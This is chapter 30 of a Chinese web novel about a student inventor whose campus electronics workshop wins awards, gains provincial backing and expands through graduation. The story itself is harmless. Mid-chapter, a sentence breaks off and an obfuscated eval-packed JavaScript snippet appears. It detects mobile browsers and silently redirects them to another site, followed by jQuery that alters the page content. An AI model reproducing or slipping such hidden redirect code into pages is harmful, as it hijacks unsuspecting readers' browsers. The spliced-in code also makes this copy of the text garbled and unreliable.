30. 第 30 章
作品:《我暴富后大佬找我奔现了》 安玥愣住了。
旁边的带队老师推了她一把:“愣着干嘛?上去啊!”
她站起来走上台。聚光灯打在脸上有些刺眼。她接过证书,听着台下的掌声。
证书上面印着公章和一行烫金的字:“第一届全省大学生科技发明竞赛一等奖”。
那天晚上,安玥坐在回学校的车上,手里一直握着那份证书。
夜色里,省城的灯火渐次后退。
一年前,她蜷缩在那间破屋里,对着系统七十二小时的倒计时发呆。
现在她坐在车上,手里攥着证书,兜里揣着刚刚组委会的通知——这个项目被推荐参加“全国大学生科技创新成果展”的通知函。
从省城领奖回来之后,日子突然变得热闹起来。
先是学校里的变化。
以前安玥走在校园里,认识她的人顶多点个头。现在不一样了,走到哪都有人主动打招呼,连食堂阿姨打菜时给的量明显比别的学生多。甚至有她不认识的同学凑过来问她还招不招人。
系主任在专业课上当众提了她的名字,下课后几个平时不怎么说话的同班女生围过来,问她能不能去车间参观。连辅导员找她谈话的语气都变了。以前是“安玥你要注意学习啊”,现在是“安玥你有什么困难尽管说,系里能帮的一定帮”。
李红英私下跟王丽娟嘀咕:“这些人以前怎么不见这么热情?”
王丽娟默默在她的账本里,新增了一页“接待来访”的支出明细。
省里推荐上去之后,她本来没抱太大希望。全国级别的展会,参展项目成百上千,精时一个校办小厂,能挤进去就算不错了。
结果通知下来那天,王主任亲自跑来车间找她。
“小安!”他推门进来时脸上带着笑,手里扬着一个大信封,“好事!天大的好事!”
安玥接过信封拆开,里面是一份正式的文件和一张邀请函。
“随身信使”项目入选全国大学生科技创新成果展,并获评“优秀参展项目”。
下面还有一行小字:“组委会拟推荐至相关部委,作为大学生科技成果转化典型案例。”
安玥看着那几行字,愣了好几秒。
王主任在旁边拍着她的肩膀,说了些什么她已经听不太清。
车间里其他人围过来庆贺,安玥把那份文件折好,放进口袋。
转眼到了大三那年的秋天,省城下了好几场雨。
精时电子的车间里依旧忙碌,订单稳定增长,新产品“随身信使”的小批量试制也在进行。
十月底,第一批客人到了。
是三个穿中山装的中年男人,自称是省科技厅的。他们在车间里转了一个多小时,看设备、看流程、看产品,问了很多问题。安玥一一回答,有些问题回答不了,林知远就站出来补充。
临走时,为首的那个人握着安玥的手,说了几句话。话的内容很官方,大意是“希望你们继续努力,有困难找组织”。但安玥注意到,他走之前又多看了那块“随身信使”的样品一眼。
第二批客人来得更快。
十一月中旬,两辆吉普车停在车间门口。下来的人穿着比之前那批更讲究,说话也更直接。为首那个自称姓周,是省里某个部门的工作人员,说话带着点南方口音。
“安玥同学,你们这个‘随身信使’,有考虑过量产吗?”
安玥给他倒了杯茶:“我们已经在量产了。”
“我说的是……”周同志斟酌措辞,“更大规模的量产。比如说,和国营厂合作,推向全国市场。”
车间里安静了一瞬。
安玥抬头看他,目光平静:“周同志,您具体指的是什么?”
周同志笑了笑,没有直接回答。他从公文包里拿出一份文件,放在桌上。
“你们先看看这个。有意向的话,可以联系我们。”
文件上印着几个大字:“全省科技成果转化重点项目扶持计划”。
下面还有一行小字:“重点支持项目,可获专项资金及政策扶持”。
安玥翻开文件,密密麻麻的文字,她一眼扫过去,看到几个关键词:资金、土地、税收优惠、人才引进。
她合上文件,抬起头。
“周同志,我们需要时间研究一下。”
“当然。”周同志站起来,伸出手,“等你们的好消息。”
送走他们之后,车间里半天没人说话。
李红英第一个打破沉默:“安玥,这是什么意思?他们要给我们钱?”
“不是给。”安玥把文件递给王丽娟,“是投资,或者说是扶持。”
“那不是好事吗?”陈卫国挠着头,“咱们正缺钱扩大规模呢。”
安玥没有回答。她看向林知远。
林知远看着安玥,问道:“你想接吗?”
安玥沉默了一会儿。
“想。但不是现在。”
时光流逝,类似的来访越来越多。
有省里的,有市里的,甚至还有从首都来的。有搞技术的,有搞投资的,有搞政策的。每个人说的话都差不多:你们的东西有前景,我们愿意支持,条件可以谈。
王丽娟的账本上的接待费涨得很快,每天都有陌生人来车间参观学习。陈卫国和吴建设被问得最多。
林知远几乎不在陌生人面前出现了。每次有人来,他就躲到二楼那间堆物料的小仓库里,直到人走才下来。安玥有几次上去找他,都看见他坐在那堆纸箱中间,手里拿着本书,或者什么都不做,只是发呆。
她知道他在想什么。
那些未来的知识,那些不能说的秘密压在他心上。
十二月底,省里发了关于表彰全省优秀大学生创业者及科技成果转化先进个人的红头文件。
安玥的名字出现在第一页,后面跟着一行字:“特授予全省大学生科技创业标兵荣誉称号。
证书送来那天,王主任亲自带着几个系里的老师来道贺。他们说了一堆话,安玥没太听进去,只是点头应付。等人走完,她一个人坐在车间办公室,手里拿着那张烫金的证书,看了很久。
系统面板亮了一下。
她点开。
Z:“最近你们那边似乎很热闹。”
安玥看着这行字,沉默了几秒。
她打字:“你怎么知道?”
Z的回复很快:“你的分享变少了。之前每周都有,现在两周才一次。说明你那边有事。”
安玥愣了一下,这家伙观察还挺细。
她打字:“是有点事。基地在扩张,有点忙。”
Z:“好事。扩张说明有价值。”
安玥:“可能吧。”
她又加了一句:“有时候太快了,反而有点不真实。”
Z那边等了一阵子才回复:“慢慢来。”
安玥关掉系统,把那张证书放进抽屉里,然后靠在椅背上,闭上眼睛。
太快了。
快得她有时候会恍惚,怀疑自己是不是在做梦,但她睁开眼,眼前是一片真实。
大四那年春天,事情终于有了突破性进展。
随身信使的第二代样品出来了。
比第一代小了一圈,屏大了一点,待机时间从半天延长到一整天。最关键的是,林知远解决了信号接收的稳定性问题,有效距离扩大到整个校园。
“如果换成更好的元件,还能再远。”他说话时语气很平静,“但这个时代能买到的最好的,也就这样了。”
安玥拿着那块样品,翻来覆去地看。
“够用了。”她说。
三月,省里来了一队人。这次带队的是个姓郑的副厅长。
他们在车间里待了整整一天。
傍晚,郑副厅长把安玥叫到一边。
“小
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183966|194627||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
安同学,你们这个东西,有没有想过做到什么程度?”
安玥想了想,说:“能让更多人用上。”
郑副厅长笑了,笑得很温和。
“好。”他说,“那我给你透个底。省里正在筹划一个科技成果转化示范区,专门支持你们这样的项目。如果你们愿意,可以第一批入驻。政策优惠,资金扶持,还能对接全国市场。”
他看着安玥的眼睛,“你们好好考虑一下。”
晚上,安玥躺在床上,脑子里反复转着郑副厅长的话,她有些不敢相信。
但另一个念头也在转:如果错过这个机会,可能再也没有了。
第二天一早,她把所有人叫到一起说了这件事。
车间里安静了很久。
李红英第一个开口:“安玥,你说怎么办,我们就怎么办。”
王丽娟推了推眼镜:“账上的钱够支撑半年扩张。如果加上扶持资金,还能撑更久。”
陈卫国和吴建设对视一眼,同时点头:“我们跟着安玥走。”
张秀兰没说话,只是看着安玥,目光坚定。
安玥看向二楼方向。
林知远不知什么时候下来了,靠在楼梯口,手里还拿着块测试板。
“你呢?”安玥问。
“你决定。”林知远说。
“那就接。”
那年夏天,精时电子搬进了示范区。
新厂房比老车间大三倍,门口挂着崭新的牌子,院子里停着几辆大货车。工人从十几个人增加到上百人,生产线从一条变成很多条。王丽娟的账本换了好几本,李红英后勤上的活更多了,陈卫国和吴建设各自带了徒弟,张秀兰负责的装配组扩大到百八十人。
林知远有了自己的实验室。安玥给他配了张床,他偶尔不回去,就睡在那里。
随身信使的第三代在秋天定型。省里来人验收时,郑副厅长亲自试用了一整天,走的时候拍着安玥的肩膀说:“好,真好。”
年底,省里开了个表彰大会。
安玥站在领奖台上,手里捧着“全省科技成果转化突出贡献奖”的奖杯。台下是黑压压的人群,闪光灯噼里啪啦地响。有人让她说几句话,她想了半天,只说了句:“谢谢大家,我们会继续努力。”
下台之后,李红英在后台等她,眼眶红红的。
“安玥,你咋只说那么短?”
安玥想了想,说:“不知道说什么。”
李红英白了她一眼,然后一把抱住她。
“行了行了,啥也不用说了。”
终于到了毕业季。
李红英那段时间特别焦虑,总念叨:“咱们要是毕业了,精时怎么办?”
安玥被她念叨得头疼,专门开了个会。
“就算毕业了,想留下的可以留下。精时已经注册了,可以签正式合同。想去别处的,也随时可以走,精时永远欢迎你们回来。”
“我不走。”李红英第一个表态。
“我也不走。”王丽娟推了推眼镜。
陈卫国和吴建设对视一眼,同时点头:“跟着安玥干。”
张秀兰看着安玥坚定地说:“我也留下”
。
安玥看着这群人,沉默了几秒。
“那就都留下。”她说,“但前提是,毕业设计都得过,论文都得写。谁挂了我可不收。”
众人大笑。
毕业典礼那天,精时的所有人穿着学士服,在车间门口拍了一张合照。
安玥站在中间,手里捧着优秀毕业生的证书。
林知远站在人群最边上,一如既往地没什么表情。
镜头定格的那一瞬间,安玥忽然想起刚穿来时的情景,现在她站在这里,身边是一群一起走过四年的人。
“来,再拍一张!”拍照人员举起相机。
所有人重新站好,对着镜头露出不同的笑。

